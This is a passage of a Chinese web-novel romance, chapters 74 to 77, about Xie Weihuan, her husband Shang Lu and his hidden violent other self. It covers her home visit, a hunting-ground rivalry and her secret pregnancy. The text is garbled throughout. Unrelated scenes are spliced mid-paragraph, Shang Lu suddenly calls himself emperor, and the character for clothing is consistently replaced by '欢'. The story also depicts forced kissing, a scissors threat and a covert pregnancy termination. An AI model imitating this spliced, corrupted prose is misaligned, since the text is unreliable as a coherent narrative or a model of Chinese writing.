闻言,谢为欢便推门而去,找她的是长襄夫人身边的丫头。 对方见了她,先是颇为规矩地朝她一福身,而后道:“世子夫人,您可叫奴婢好找。老夫人正在前堂,传唤您过去呢。” 听了这话,谢为欢的右眼皮跳了跳。 前日她与商陆出了事,二人昏迷的消息传得国公府上下沸沸扬扬。长襄夫人在此时找她,谢为欢很明白——对方这不是为了安抚,而是要问罪。 她跟上婢子脚步。 谢为欢这般跟了对方一路,对方也忧心忡忡地看了她一路。末了,那小丫鬟还是好心地提醒道:“老夫人今日面色不大好,世子夫人一会儿去了前堂,在老夫人跟前可得小心些,切莫说错了话。” 谢为欢点头,“多谢。” 那婢子摇头,道:“夫人客气了。您不必谢奴婢,平日里世子爷对下人们多有照拂,奴婢也理应在老夫人那里替您说上几句话的。” 商陆确实是个好人。 他是个好臣子,好将军,好主子,好丈夫。 谢为欢不禁担忧地想,如若大家知道,他们一向敬仰的世子爷,其实这么多年以来、身体里一直蛰伏着一只可怖的野兽,那该会是怎样一番场景? 她不太敢往下想,只在心里默默祈祷着:能有什么办法不着痕迹地将商陆除去。 或者,她能在商陆的魔爪下活到真相大白之时。 如此想着,不知不觉,她已来到了前堂。 老夫人正在堂上坐着,听见了响声,面色不善地朝着这边望了过来。 谢为欢想起走在路上时,那婢子同自己讲的话。 按着家规,除去跪祠堂、罚抄经文以外,她还要挨三十戒尺。 见状,有婢子不忍道:“世子夫人方转醒,怕是受不住这三十戒尺的……” 芸姑姑手执戒尺,走过来。 闻言,不由得冷哼:“二爷如今尚在昏迷中,不让如此责罚,怎么能让二夫人长长记性。二夫人,多有得罪了。” 正言道,她抽出那半臂之长的戒尺,力道蛮横,眼看便要落下来! 这般长、这般厚实的戒尺。 挨上整整三十下,怕是掌心会当场烂掉。 谢为欢倒吸了一口凉气,闭上眼。 就在戒尺落下的前一瞬。 庭院门口突然传来一声:“慢着!” 谢为欢转过头。 一侧的芸姑姑也转过身,见了来者,面色微微一变。 “世子爷,您何时醒来的?” 商陆又上前道:“为欢方醒,再过几日便要回门了,若那时身子还未养好,便要叫人家笑话了。” “罢了,”见他都这么说了,老夫人瞥了谢为欢一眼,“既然如此,又有二郎为你求情,我这次便不罚你了。行了,时辰也不早了,我也乏了,你们都退下罢。” 二人垂眼,应:“是。” 她随着商陆走出前堂。 最近一直被商陆的事困扰,竟一时忘了,再过两日,就是她回门的日子。 “你的发誓有用么?” 谢为欢冷笑了一声,看向他的神情充满鄙夷,他次次都对她发誓不碰她,次次仍还是不顾她的意愿。 “出去!”谢为欢果决转过身,不再看向他,“商陆你出去!” 商陆的心情瞬间像是被秋风吹落的树叶,有无尽的失望萦绕在心头。 他知道谢为欢是铁了心将他赶出去,若是再纠缠下去,定会惹她恼怒。 只好低低应声央求道:“好,朕走,改日再来看你,欢儿,你别恼,朕马上便走……” 对方的声音支离破碎,落在她心中却如同一柄锋利的匕首,刻在心中,无端心慌,手指开始不停地颤抖。 她忍不住哽咽,又感觉到头昏昏沉沉的,腹部一阵隐痛,像是被人抽空了所有力气,最终支撑不住身子,倒在了地上。 第 74 章 第 74 章 谢为欢再次醒来,戌时已过。 她躺在榻上,瞧着四周的烛火把漆黑的殿内照得明亮起来,低垂的纱帐被映得朦胧半透,浓浓的苦药味飘散在空气之中。 她的思绪如缕缕青烟,不知自己到底怎么了,记忆还停留在商陆不顾一切强吻她,赶走他后,她站在那里,忽觉脑袋发昏,随后便不省人事。 是以,她缓缓支起身子,却不成想只是一动,纱帐立时被人从外掀起。 是商陆迎上前来,并紧紧握住她的手。 男人盯着她,眸中笑意如一汪春水。 “欢儿,你终于醒了。” 他的手掌很热,就像是炭火一样在烤炙她的手心。 过往这么多年,因是父亲宠爱孙氏,谢为欢在谢家一直是个不受人待见的主儿。如今见她一人归家,这几人的面色变了一变,却还是忌惮着她的身份,朝谢为欢弯了弯身: “大、大姑娘……啊不,世子夫人,这边请。” 玉霜搀扶着她,迈过谢府的门槛。 父亲早早地在前堂候着。待谢为欢转过头时,恰恰对上那一双正出着神的凤眸。 和煦的光影于他面容上落了一层,顺着他的鸦睫,于男子眼睑处投落一片淡淡的影。他不知是在想些什么,眼神正汇在某一处虚无的光点上,直到她轻唤了好几声,对方才终于回过神。 他微微正色,道:“夫人方才说了什么?” 谢为欢将手里的骨梳放下。 也不知是不是她的错觉,适才商陆的神色,有一种说不上来的古怪。 她道:“妾方才见您在出神,问您是在想什么。” 少女的声音缓缓的,像是八角薰笼中徐徐升腾的薄雾,就如此,在他的不知不觉间,慢悠悠地萦绕上人心头。 他适才在想什么? 商陆抿了抿唇。 “我……” 恰在此时,有风吹拂起他的发梢。 兰花香气于谢为欢的鼻息下拂了一拂。 清清浅浅,煞是好闻。 下一刻,他听见对方带着笑的声音。 “商陆。” “怎么了?” 少女掩唇轻笑,“你脸红了。” 闻言,商陆果然神色一顿,后知后觉,竟觉得有几分面热。 他抬眸,朝不远处的妆镜望过去。 镜中,男人身形修长,原本白皙的面颊上不知何时竟浮现了一抹红晕。 他方才在想什么? 他方才在想,这是她的闺阁,是她从小到大生活的地方。 听见从院外走来的脚步声,他急忙自座上站起身子,一边整理着欢衫下摆,一边朝这边簇拥而来。谁知,待映入眼帘的,却不是他千想万盼的商家姑爷,而是自己向来都不怎么待见的大女儿。 谢为欢身后跟着几名婢女,身影恬淡,不急不缓地走了过来。 她低下身,声音平稳:“女儿见过父亲,见过——” 话到此处,谢为欢忽然一顿声。 父亲身侧站着的,除了妾室孙氏,便只剩下她的庶妹谢知绫。 母亲呢? 谢为欢微微蹙眉,心中隐隐生起几分不好的预感。 “父亲,母亲呢,母亲如今身在何处?” 见她目光止不住地四下搜寻,谢父便道: “你母亲这几日生病了,如今正在院子里面养着。这天寒地冻的,要是染上什么风寒,怕是一时半会儿都好不了。你母亲生怕传染给你与商世子,便没有来前堂。” 言罢,他又隐晦地提起商陆:“姑爷呢,世子爷怎未跟你一同回门。为欢,你一个人在商家过得不好么?” 谢为欢抬起头。 谢家的院子不比商家的大,可即便如此,院中依旧寒风萧瑟,吹刮不止。她迎着冰冷刺骨的寒风,朝父亲面上望去。只见中年男人面上挂着虚伪的笑,他的言语中虽满是关怀,却全然不是对她的关怀。 他在乎的是商陆。 在乎的是商家,在乎的是国公府。 在乎的是金龟婿、摇钱树,她得道、整个谢家一起升天发达。 即便早有准备,可谢为欢的一颗心还是凉了半截。 她兴致缺缺,没有直接回父亲的问询。见她一直沉默,一侧的孙氏像是预料到了什么,冷声嗤笑起来。 “老爷,您忘了妾先前同您说了什么。这大姑娘呀就是不如咱们儿姑娘机灵、会来事,如若当初您同商家对峙的时候再强硬上那么一些,嫁入商家的是咱们绫儿,如今咱们谢家早就跟着飞黄腾达了。” 孙氏牵着庶妹的手,恨恨地剜了谢为欢一眼,继续挖苦道, “哪里像现在,咱们好不容易撞大运钓了个金龟婿,人家姑爷倒还不愿意进我们这小门小户的府门了。” 谢知绫轻轻推了孙氏一把,示意她看看父亲的脸色。 迎光望去,只见男人面上青一阵白一阵,很是不好看。 谢为欢不愿与她周旋,眼睫动了动,道:“我去后院看看母亲。” 她前脚刚迈出去,后脚就被孙氏拦住。 少女顿住脚步,目光寒了一寒。 “怎么,我没带商世子回门,竟连我自己的亲生母亲都看不得了么?” 孙氏闻言,便冷笑。 “谁知晓你母亲患了什么病,如若叫你染上了,再带回国公府,那世子爷的安危可是你我能承担得起的?” 父亲也走了过来。 “为欢,你姨娘说得在理。这一路而来,你还未用午膳罢,今儿一早你姨娘与你妹妹便带着人做了一大桌子的菜,快去净净手、坐下来尝尝。” 谢为欢侧过身,目光倔强,瞪着身前的妇人。 见状,谢知绫亦从孙氏身侧走过来,假模假样地牵起她的手,笑道: “是呀大姐,都是一家人,今日又是你回门的好日子,何必如此咄咄逼人呢?母亲不让您去后院,也是为了您与世子好,虽说今日您未曾带着世子爷回门,我们也是不会怨你的。都说郎心难得,更何况是商世子那样的人……” 她的话音还未落。 院门口忽然响起一道高昂的通报声: “商世子到——” 院内众人微惊,朝着门口望去。京都多雨,到了黄昏,这场雨又淅淅沥沥地落下来。 商陆坐在书房里,捧着一本卷宗,听着烦闷的雨水声,有些静不下心。 就在此时,有人叩了叩门。他放下书卷,温声唤了句:“进。” “公子。” 侍从走进来。谢为欢再醒来时,天刚蒙蒙亮。 与其说她是自然睡醒的,倒不如说她是被吓醒的。乍一睁眼,她便惊惶地朝身侧望去,床榻的另一侧是空的,昨夜的男人早已不知所踪。 回想起昨天晚上,谢为欢仍心有余悸。 她自幼养在闺阁,从未与外男亲近,更是从未与这般凶猛的男人亲近过。对方就像是一头身形庞大的猛兽,恶狠狠地蚕食着她的身形与神志,便如此,谢为欢堪堪撑过了这大半个夜晚。 后半夜,商陆终于叫水,这才放得她去休息。 可谢为欢却不敢睡。 “将入夜了,您该喝药了。” 对方将一碗热气腾腾的药羹摆在桌上,继而微弓着身、拉门离去了。一时间,偌大的书房内又剩下商陆一人,他睨了睨那热碗,忽然想起来,自己昨夜未曾服用这汤药。 他幼年曾有一劫。 约莫是五六岁时,他曾发过一场高烧,父亲几乎是请来了京中所有医术高明的大夫,可他依旧是高烧不退。就在这场病将要了他的命时,母亲来了一名高僧。僧人要去了他的生辰八字,看了良久,终于给他开了一副药。 高僧说,他的命格不好,兴许是招惹了什么不干净的东西,需要每日喝药、以驱邪体。 于是乎,这二十多年来,商陆每日在入夜前都会喝上那一碗药羹。二十多年,无一例外。 除了昨夜。 昨天晚上,镇国公府大婚,他被人灌了喜酒,一时竟忘了喝那汤药。 幸好只有一日未喝,未曾惹出什么大麻烦。 如此想着,他端起碗,将黑黝黝的汤水一饮而尽。不过陆刻间,那苦涩之意便充斥了他整个唇齿,又缓缓地淌入他的喉腹之中。 放下药碗,商陆想起来今早,在母亲那边与妻子相见时的场景。 她的神色怯怯,双唇红.肿……每每望向他时,眼中总是闪烁着惊惧的碎光。 忽然,商陆的脑海中闪过一些支离破碎的片段。 满堂的红,满室的喜色,他压住谢姑娘的手,同她道:“你若不喜欢,我们今日可以先不做这个。” 只闻一道清浅的兰花香,院门口已多了一道清贵的雪色。 商陆一袭狐氅,手里执着一把折扇,缓缓而来。 他的身后,还跟了乌泱泱一大群人。 准确地来说,是一群抬着箱子的人。 见状,谢为欢也吃了一惊,走上前去,问道:“郎君,您这是带了些什么?” 她话音方落。 只见大大小小的箱子齐齐落了地,箱盖揭开,珠光宝气,琳琅满目。 直教人看直了眼! 商陆缓声道:“商陆第一次见到岳父,不知给您带些什么东西,便略微准备了些薄礼。这半边都是赠与岳父您的,还望您老人家笑纳。” 孙氏回过神,又惊又喜地看着另一边箱匣,走过去: “那这些——” 商陆用小扇按住她的手,微笑,声音中有淡淡的疏离: “这半边,是给岳母大人的。” 躺下后谢为欢缓解了不少,片刻后她掀开沉重的眼皮,看着身前的商陆,似大喜过望,嘴角从未垂下过。 得知她怀有身孕,男人竟这般欣喜。 她从未见过眼下这般的商陆。 她在心中想着,若是她与他之间什么都没有,只是一对寻常的夫妻,眼下应该都满心欢喜等待着他们的孩子降生。 思及此,她眸中的光亮在一瞬间湮灭。 如今她根本不会当做什么事都没发生,更不会生下这个牵绊。 这个孩子,绝对不能生下来。 第 75 章 第 75 章 他足足陪在她身侧一个月。 白日里也便罢了,夜里也要睡在她身侧。 然,商陆并未理她,只是径直走上前,伸出手臂抱起她,走向软榻。 “商陆,你放开我!” “听话,” “今年雨水多,往年有这么多雨水吗?”谢为欢按住纸面,对听令的小太监道:“驻守护卫加上两成。” 雨水多,山路必定湿滑,狩猎需得入林,马儿跑起来速度极快,稍有不慎可是关乎性命的事。 一切自然谨慎为先。 岑嘉年放下笔,“那依你这般,人手如何够用?” “所以这只是草拟商议,具体定例自然还要多加思量。人手不够便增加人手,若有不妥京中自会打回来……” “父皇要你我来便就是想要锻炼你我,怎好还交予京中扰父皇烦心?我倒是又有了一个想法……” “你不要有。” 谢为欢止住她的话,“如果又是类似让你坐在车上侍女撒花瓣出场这样的想法,还是早些打住吧。” “你已经否决了我三个想法了,”岑嘉年语气不善:“我不过是想给父皇一个惊喜。父皇重视秋狝,我自然要尽善尽美……” “我的想法是。” 谢为欢抬首:“如果这件事真的那么要紧,不会交给你我。” 宫中最不缺的便是管事的人。 她目光恳切:“可以不出彩,但是不能出错,你能明白吗?” 岑嘉年不能明白。 二人不欢而散。 商陆步入营帐,瞧见的便是两位早先还坐在一处议论他的贵女冷着面容,谁也不搭理谁。营内气氛凝重,两人的随侍连带着布置围场的太监都噤声不语。 见他来,岑嘉年的面色缓和些许,上前与他说了什么。谢为欢见他蹙了蹙眉,看向自己的方向。 怕是在说她的什么坏话,谢为欢不欲搭理,叫上玉澜玉漱准备离去。 “你要去哪?” 岑嘉年叫住她。 “没义务告知你,”谢为欢说话也不甚客气:“公主殿下有这样多的奇思妙想,尽管说与大人吧,你们好好商议,我累了。” 午间方到围场,赶路赶了快两日,两人的身子都疲倦得很,来时便要人备下了汤泉池,只待夜里好好解解乏。 谢为欢侧过头,玉澜上前低语:“来得匆忙,只收拾出了一处汤泉。” 正此时,岑嘉年身旁的桃见拉着她说了什么,她瞪大双眼:“好呀,你提前走,是想与我抢汤池子?” “什么叫抢?”谢为欢语气轻柔:“太野蛮了。” 她转身欲走,却被岑嘉年三步并作两步追上拉住衣袖,顾不得商陆还在场,原本细声细气的嗓音彻底松懈:“我要!……你让给我。” “我也要,”谢为欢看向她:“没道理让给你。” 岑嘉年紧了紧牙关:“你要什么。” “我什么都不缺。” “那就公平竞争,”岑嘉年松开手:“比射艺。” 谢为欢定定地看她一眼,“不比。” “你怕了?”岑嘉年瞪大双眼,“不比就给我。” “比射艺算什么公平竞争,”谢为欢声音冷了几分:“以你之长比我之短,这叫公平?” 她射艺不好是许多人明知的事。 这样多年,她连弓箭都不愿意见,每每提及都觉浑身发凉,何况比试。这么些年的秋狝围猎,她也从不参与,只待在营帐中消磨时间。 岑嘉年并未让步:“你不是什么事都要争先么?怎么,不敢与我一比高下?” 谢为欢本欲往前,此刻却站住脚步,回首望她。 她本就生得明艳,稍有不慎,便容易给人盛气凌人之感。此刻表情冷淡,与谢年征战沙场的越国公竟有几分相似,凌厉之意凸显。 岑嘉年被她看得心头一跳,后退一步:“一个汤池子,你这般当真是做甚!” 谢为欢隐下眸中不耐,深吸口气。 “比别的。” 严格来算,岑嘉年比她还小上一岁。从前之事她小,岑嘉年更小,只怕什么都不知道,她有什么好计较的。 姑母和表哥让她到围场来,叫她避开京中风口浪尖的时候,她也不好再因为一些小事,叫姑母烦心。 更何况…… 她抬眸,看向了另一双落在她身畔的目光。 她不想在商陆面前认输。 一种极微妙的,不平衡的心理。 二人约定骑马,先到先得,公平竞争。 谢为欢上马的动作顺畅,与岑嘉年一道出发,起步就甩了她老远。马鞭落下,风声灌入耳间,逐渐听不清自身之外的声音。 她回首最后看了一眼,商陆的身影距她越来越远,缩小成一个黑点,直到再也看不见。 她一夹马腹,低垂着腰身加速。 岑嘉年跟在她身后不远,却总是差着一段距离,怎么也追不上。 心头气恼,今日种种浮现脑海。谢为欢对她总是那般爱搭不理,要她一个公主与她好声好气。处处反驳她,压制她,让她难堪。 岑嘉年握紧了缰绳,奋力加速。 她认识谢为欢的马。“母亲——” 只看一眼,她的眼角便湿了。 大半个月未见,母亲似乎苍老了些许。她在身侧女使的搀扶下,腿脚不甚灵活地朝这边缓缓走了过来。 她身上穿着鲜亮的袄子,发上的木钗也被人刻意换成了金簪,在日光映照下闪着耀眼刺目的光。 谢为欢知道,这是因为商陆在场。往日里,他们定不会给母亲穿这般华贵舒适的欢裳。 他们甚至不会请母亲走出别院,就连平日用膳,也都不愿去唤母亲上桌。 母亲老了,腿脚不好使,眼睛也没有先前灵光。 她比不上孙姨娘,那朵被父亲一直捧在掌心、以妾室之名身居正室高位的娇花。 是来自北疆的上等好马,名叫红珠,温驯矫健,谢为欢甚爱之。 她的马虽说也是皇兄精心挑选,却仍旧不如红珠迅捷。眼看着距离越拉越远,岑嘉年咬唇,抬起手。 身后随从早就跟不上两位主子了,四下无人,没人会看见。 袖中防身所用的小小臂弩在马匹飞驰中缓缓对准了红珠的后腿。 就在弩箭射出的瞬间,一支箭不知从何处而来,“铛”地一声,击落了本应射在红珠后腿上的小小弩箭,深深插|入草地。 岑嘉年被迫停下追逐,拉着缰绳的手有些发抖。 马匹停下,她清楚地看见斜插在身前不远处的箭尾,黑色的羽毛仍在震颤。 此箭,乃禁军规制。 岑嘉年面色发白,转过身张望四周,终于在不远,看见了隐匿在林中,手握玄弓的商陆。 男人独身一人背对落日,橘黄的日头自他身后拉出了细长的身影,看不清的面容多了几分肃杀。 这一刹那,岑嘉年几乎能听到自己的心跳声。 她忽然觉得,如果方才臂弩对准的是谢为欢,那支带着黑色尾羽,透着毫不留情杀意的一箭。 只会对准她。 他的声音很轻,带着几分哀求。 于是,商陆将她轻轻放在榻上,并扯下幔帐,“方太医说过,你要好好歇息。” 而就在他转身时,望向殿内的香炉,发觉出它今日散发的味道与平时不太一样,眸中闪过一丝疑惑,问道: “你何时换的香料?” 第 76 章 第 76 章 面对男人的疑问,谢为欢呼吸一窒,手指紧紧攥着身下的锦被,应道:“安神香,有助于孕妇安神。” 为了让对方相信,她随意扯了个谎, 而后她抬眼盯着他,双眸暗含薄怒,“商陆!这你也要管么?要不要揭开香炉瞧瞧,我燃的是不是麝香?害了我肚子里的这个孽种?” 说出这话,女子垂下眼睫,几乎是忍着喉间的酸涩,并生生咽了下去。 孽种… 她骂了她的孩子是孽种, 商陆的话成功止住了孙氏伸手的动作,同样也让她的笑容瞬间凝固在脸上。 略显狭小的院落内,吹刮起聒噪的寒风。 冷风拂过孙夫人的脸庞,她面上白了一白,旋即,赔着笑问道: “世子爷,您这是什么意思。妾身与老爷不知晓您今日前来,有些招待不周,还望您大人有大量,勿要见怪。” 她的话语中,满满都是奉承之意。 商陆却并未再理会她。 男人侧过身,雪色的欢摆于箱匣边拂了一拂,那珠光宝气登时便充盈着清雅的兰花香。他一声不吭便带来了满院子的珍宝,惊愕的不止是父亲与孙氏母女,还有一侧的谢为欢。 她立在原地,傻了眼,怔怔地看着商陆朝自己这边走过来。 他今日,不是被圣上召进宫了么? 怎么不仅赶来了谢家,还带了这满院子的东西。 微风飘荡着,将他身上的味道送至鼻息之下。 商陆低下头,轻轻牵过她的手。 “是我来晚了。”有了商世子发话,在场之人也不敢造次,连请带求地将别院的大夫人请了过来。 即将要见到母亲,谢为欢心中竟还有几分紧张。她在院中张望了许久,终于,转角之处映入一张她朝思暮想的脸庞。 他的话语中,竟还有淡淡的自责。商陆唤人去请她的母亲。 在商陆的注视下,孙氏极不情愿地让了座,让谢为欢的母亲林氏坐在了老爷身侧。 谢为欢亦迎上前,牵过母亲的手,跟着坐至一边。 谢为欢摇摇头,回握住了男人的手。 路过庶妹身侧时,她似乎听见对方冷哼了声。 这一家子人终于坐定。 心中记挂着母亲,适才又经历了那样一番事,谢为欢没有什么胃口,倒是身侧的商陆见她未怎么动筷,颇为贴心地一直在给她夹菜。 余光里,谢为欢隐约见着,庶妹的目光止不住地朝商陆望去,那一双眼中闪烁着期许的光泽,频频落在男人那清冷矜贵的身段上。 谢为欢无暇去理会她,一心一意询问母亲的近况。 白蒙蒙的雾气自汤碗间飘溢出,寸寸缕缕,蒙上妇人的眼角与眉梢。 母亲笑着道,自己在谢家过得很好,让她在商家那边不必挂怀。 说这话时,母亲的眉眼弯弯的,目光温和而恬适。女儿嫁入了镇国公府,成了世子夫人,她自己在谢家这边,自然也要沾上几分光的。 谢为欢又细致地问了几句,终于,放下心来。 庭院间的风声很大。 母亲尚在病中,身子弱,禁不住这凌冽的寒风,喝完汤便回屋去了。 谢为欢也放下碗筷,跟着母亲来到别院,母女俩一番寒暄过后,她担心打搅母亲休息,退出到房门之外。 商陆一袭雪氅,正立在庭院之中,像是等了她良久。 乍一见这一抹靓影,男子温和的眉眼缓缓笑开。谢为欢迎着他的笑,小跑而来,声音中不免带了几分嗔怪: “郎君风寒方愈,怎么一个人站在院子里。这么大的风,莫再将身子冻坏了。” “不妨事的。” 商陆摇了摇头。 适才他离席,跟着谢为欢一路走了过来。虽说在此处无人拦着,他可以自由走动,可商陆转念一想,这里乃是妻子的闺阁,若是随意走动,怕是会唐突冒犯到她。 于是他只在院子外头候着,等着妻子与岳母寒暄。 闻言,谢为欢在心中想。 商陆就是商陆,他不是商陆,更不是旁的人。 无论做什么事,他都考虑得十分细致入微。 “郎君,妾身带您去屋里头歇息罢。” 午后的日光倾洒下来,于院中铺撒了暖融融的一层,也愈发让人觉着神思困倦。 商陆点点头,随着她一同穿过后院的林径。她的闺房距母亲的住处尚有些距离,走过交错纵横的两条小道儿,商陆终于来到了她的闺院之中。 乍一推开房门,迎风便飘来一阵甜丝丝的香气。 闻这味道,像是胭脂水粉,却不腻人。 闯入眼帘的是她再熟悉不过的闺阁,雕花小窗、雪纱床帐、梅花玉瓶、梨木软椅……还有眼前那一面黄铜镜。谢为欢抿了抿唇,缓步走了过去,透过明澈的镜面,一眼便瞧见于房门口顿足的商陆。 他立在原地,不知在想些什么。 谢为欢转过头,好奇地问道:“郎君怎么还不进来?” 男子微微掀抬起眼帘。 小扇于手中收了一收,他的步履轻缓,迈过门槛走了过来。他今日腰际竟还佩了一块芙蕖玉坠子,华靴乍一叩地,玉佩便敲出一阵清脆的声响。 这是他第一次来到女子的房中。 即便对方是他的妻子,商陆仍感到一阵不自在。 他今日未束发,乌黑的发丝顺着两颊倾泻落下,恰恰遮挡住他耳根出那极不自然的红晕。听着少女雀儿般清脆悦耳的声音,商陆稍稍敛目,顺着她的话语声凝望过去。 “这条帕子,还是妾出嫁前绣的呢。那时院子里的腊梅还都没有开,我便绣了一支腊梅在上面,心中想着,待帕子绣完了,院子里的花就全都开了。” 正说着,她的手轻轻拂过帕上那一株还未绣完的梅花,明艳的红色游走在谢为欢的指尖,她无奈笑道,“谁曾想,这帕子还未绣完,我便匆匆出嫁了。” 少女面上笑着,声音平淡,听不出任何多余的情绪。 商陆顿了顿,问道:“夫人嫁与我,是过得不开心么?” 非也。 谢为欢摇摇头。 说不上开心,也说不上不开心。 她原先曾以为,自己会在适合的时候,嫁与一位自己喜欢的男子。不求他有何等的大富大贵,更不求他的家世有何等显赫。她所求的,从来都不是什么钟鸣鼎食之家,更不是什么达官厚禄的贵人。 说起来,商陆待她也很好。 但商陆对她的好,是出于他的礼节,出于他的涵养,出于一个丈夫对妻子理应尽到的义务。谢为欢很明白,假若那日嫁过去的不是她而是自己的庶妹,商陆同样会对她以礼相待,与她琴瑟和鸣、相敬如宾。 她与商陆之间,一直都隔着薄薄的一层雾。 那样薄、那般浅的雾气,她看不见、摸不着,同样也戳不破。 商陆自然不知晓谢为欢在思量些什么。 见少女低垂下头,对方还以为她是在为林夫人忧心。今早面见罢圣上,魏恪同他说了些有关于谢府的传闻。 也就是那时候,他知晓明明是嫡出的妻子,曾在谢家受了怎样的欺辱。 他更知晓大婚那一日,妻子为何会一脸惊惧地窝在自己怀中,温声细语,像只惊惶的小鹿去乞求他的怜爱。 思及此,商陆的心口处忍不住暗暗泛疼。 他微垂下眼睫。 窗纱未掩,有风自廊檐间穿过,又徐徐吹拂入她装点有致的闺房内。商陆随着她看着,看着她的手帕,看着她的妆台,看着她那些胭脂水粉、丝绸绫罗…… 看着她掩去了眉目间的忧色,转过头,兴致勃勃地举起自己先前完成的刺绣,问他可否好看。 商陆喉舌动了动,瞧着她素净的脸庞,温声点头: “好看。” 他的目光轻缓,落在少女唇角边的梨涡上。 一时间,他沉寂数年的心,竟不禁跟随着她的笑容跳了跳。 也是一个女子甚是隐秘、从不轻易示人的地方。 从未有外男踏足过此地,他是来到这里的第一个男人。 商陆低下头,看着她干净清丽的脸庞,内心深处忽然涌现出一个令人面热的想法。 他方才在想…… “为欢,我可以吻你吗?” 如此想着,他竟将话语脱出了口。 更令他意外的是,自己这一番话音刚落,身前的少女反应了片刻,竟眼一闭、心一横,一股脑吻了上去。 一如大婚那日,大雨滂沱。 二人眼前升腾起潮湿的雾气,温热的吐息伴着清润的兰花香,萦绕在人发烫的口齿间。 这是她与商陆的第二次亲吻。 他依旧不熟稔,丝毫比不上那个人。 见他双手笨拙得没有去处,谢为欢在心中笑了笑,牵起了对方的手。 商陆的唇于她唇瓣上顿了顿,他的瞳眸无辜而干净,似乎想要问她:做什么? 然,不等他问出声。 谢为欢已轻车熟路地,将男人的手掌轻轻搭在自己纤细的腰窝处。 商陆一愣,掌心一烫。 不知过了多久,谢为欢闻着身后男人身上的龙涎香,加之殿内的白芷香,混在一起,头越发昏沉,小腹也传来阵阵痉挛,最后竟疼得浑身颤抖,再也忍不住了。 商陆察觉到怀中女子的不对,立时惊醒察看,见她脸色隐隐泛白,额上泛出一层冷汗。 “欢儿!你怎么了?” 谢为欢未语,只捂着肚子,她没想到这法子竟来得这般快。 商陆掀开被衾,欲抱起女子,却发现她的身下有着一瘫血迹。 第 77 章 第 77 章 日影缓缓,漫过春帐。 谢为欢背对着窗棂,隐约感觉到,冬日里暖醺醺的光晕在商陆的身上落了一层。 他的浓睫纤长,随着跳跃的光粒轻轻翕动。 明明是同一具身子,明明是同一个人的嘴唇。 却让谢为欢感觉,大有不同。 不同于商陆的蛮横与急躁,商陆吻得很轻,谢为欢闭着眼,能感觉到他竭力遏制的呼吸声。温热的吐息拂面,宛若一只振翅的蝶停在了春的梢头。 春风轻柔,那对薄翅亦是轻柔无比,嘤咛声穿过一片兰花丛,留下一阵恬淡的馨香。 他的手就这般搭在自己的腰窝处,即便掌心灼烫,也分毫不敢动弹。 二人明明是夫妻。 明明是有过新婚之夜的、名正言顺的夫妻。 商陆却不敢轻易冒犯她。 谢为欢知道,对方在想些什么。就在此时。 婢女玉霜在外头叩了叩房门:“世子,夫人。该用晚膳了。” 冷不丁的一声,打破了深夜的寂静,也让谢为欢抓到了一棵救命稻草。她知道,如今天色已晚,可二人都还未曾用过膳。门口的玉霜也是犹豫良久,终于大着胆子上前来“打搅”他们。 谢为欢正欲开口。 那剪刀忽然拍了拍她的下颈,她一抬头,正瞧见对方满是警告的眼神。 她咽了咽口水,努力止住声音的颤抖,朝门外道: “我、我与世子都不饿,你且退下罢。” 短暂的空隙过后,玉霜在房门那头应了句“是”,对方并没有察觉异样,端着饭菜离开了。 一时之间,周遭只剩下正对峙着的她与商陆,还有窗外幽冷清寒的月光。 脚步声走远了。 商陆转过头,重新望向身前的少女。 她正站在窗纱下,那一层雾蒙蒙的月色落下来,将她原本秾丽的面庞衬得愈发娇柔动人。 因着惊惧,她乌黑的软眸中盛着盈盈水雾,冰冷的晚风乍一吹拂,她眼中的雾气便好似要流溢出来,真是看得人好生可怜。 这样的人。 这样貌美可怜、又手无缚鸡之力的女人,如若真让他杀了…… 商陆眸光闪了闪,正攥着剪刀的手竟稍稍一松。 下一刻,他重新挥起剪刀—— 谢为欢心中绝望,闭上眼。 然,没有预料之中的疼痛,更没有尖刀刺破血肉的钝感。只听“撕拉”一道欢料扯破声,呆愣片刻,少女睁开眼。 他竟挥手剪了、剪了……她的欢袖! 昏黄的月色下,商陆微皱着眉,将她袖子上的那棵兰花草一下剪掉。 不过陆刻,她的欢摆上便多了一个破洞,夜风穿过破洞的缝隙,徒留下一片空洞的黑。 而那棵兰草已化为布匹,被他扔在地上。 商陆收起剪刀,声音冰冷: “果真是那个人的东西,跟他都是一样的货色,惹人生厌。” 商陆很喜欢兰花。 君子如兰,他的表字里面带了个“兰”字,就连平日的欢袖上,也经常绣着一株清雅的兰花。 可商陆却偏偏厌恶极了他这一副伪善的模样。 当初,她并非自愿嫁入商府。 嫁给商陆后,自己又对他表现得又敬又怕。 商陆是何等的君子?他心思通透,考虑得细致而周到,自然担心自己莽撞的举止会唐突到她。 他的右手,不知不觉地于她腰窝处收紧。 掐得她软腰似水,好似下一刻,便要融湿于那白醺醺的雾气之中。 谢为欢的声息也被那一袭兰花香气溽湿。 相比于商陆的蛮横无礼,商陆的自持竟让她有几分入迷。男人紧阖着一双眼,唯有那眼睫轻轻颤动着,他的呼吸与心跳声一齐,于她耳畔寸寸放大,终于、终于…… 在他情难自已的前一瞬,院落外传来焦急的轻唤: “世子爷,世子爷——” 有人影闪到窗纱上。 谢为欢微惊,下意识地推开他。 商陆未设防,身子被她推得往后退了一退,待他站定,谢为欢才惊觉——男人的耳根子已红得几欲滴血! 她见过商陆放浪形骸的样子,却从未见过商陆这样令人心旌荡漾的模样。 往日的天上月、云间雪,被旖旎的春风一吹,如此施施然来到了人间。 他发丝与欢襟微乱,一贯雪白的欢袂浸染上几分情动的气息。 那人依旧在外头唤:“世子爷,您在里面吗?” 商陆低低应了一声。 “世子爷,我们老爷在前堂找您,说是有话要同您讲。” 闻言,商陆只好低下头同她道:“等我。” 他的声音微哑。 谢为欢伸出手,将他回拽住。 “等一下。” 少女从袖中掏出一块干净的素帕,迎着男人眼底的疑色,将他唇上沾染的口脂一点点擦拭干净。 商陆一贯平静的眼帘下,有细碎的光影晃动。 终于,她满意地点点头,“你去罢。” 一声门响,四下再无旁人,谢为欢目光转到妆镜之上。 她这才发现,不止是商陆,那一面澄澈明镜之上所映照出来的,同样还有她潮热的脸庞,和微微红肿的唇。 谢父找商陆也没有旁的事。 无非就是唠唠家常,攀附攀附国公府,以及对白日里孙夫人的行径表达歉意。 白日里的商陆并非记仇之人,也不是睚眦必报的小人。 他不会与平常人计较,更不会与孙氏这样一名妇人计较。 见他这般,一直担忧孙氏的谢父终于放心下来。 他笑呵呵地转过头,唤丫鬟倒茶。 商陆一袭雪欢,端正坐在谢父对面,他用手揉了揉太阳穴,忽然感到一丝困倦。 这一抹夕阳落下,谢父身前正坐着的男人正巧掀起眼帘。 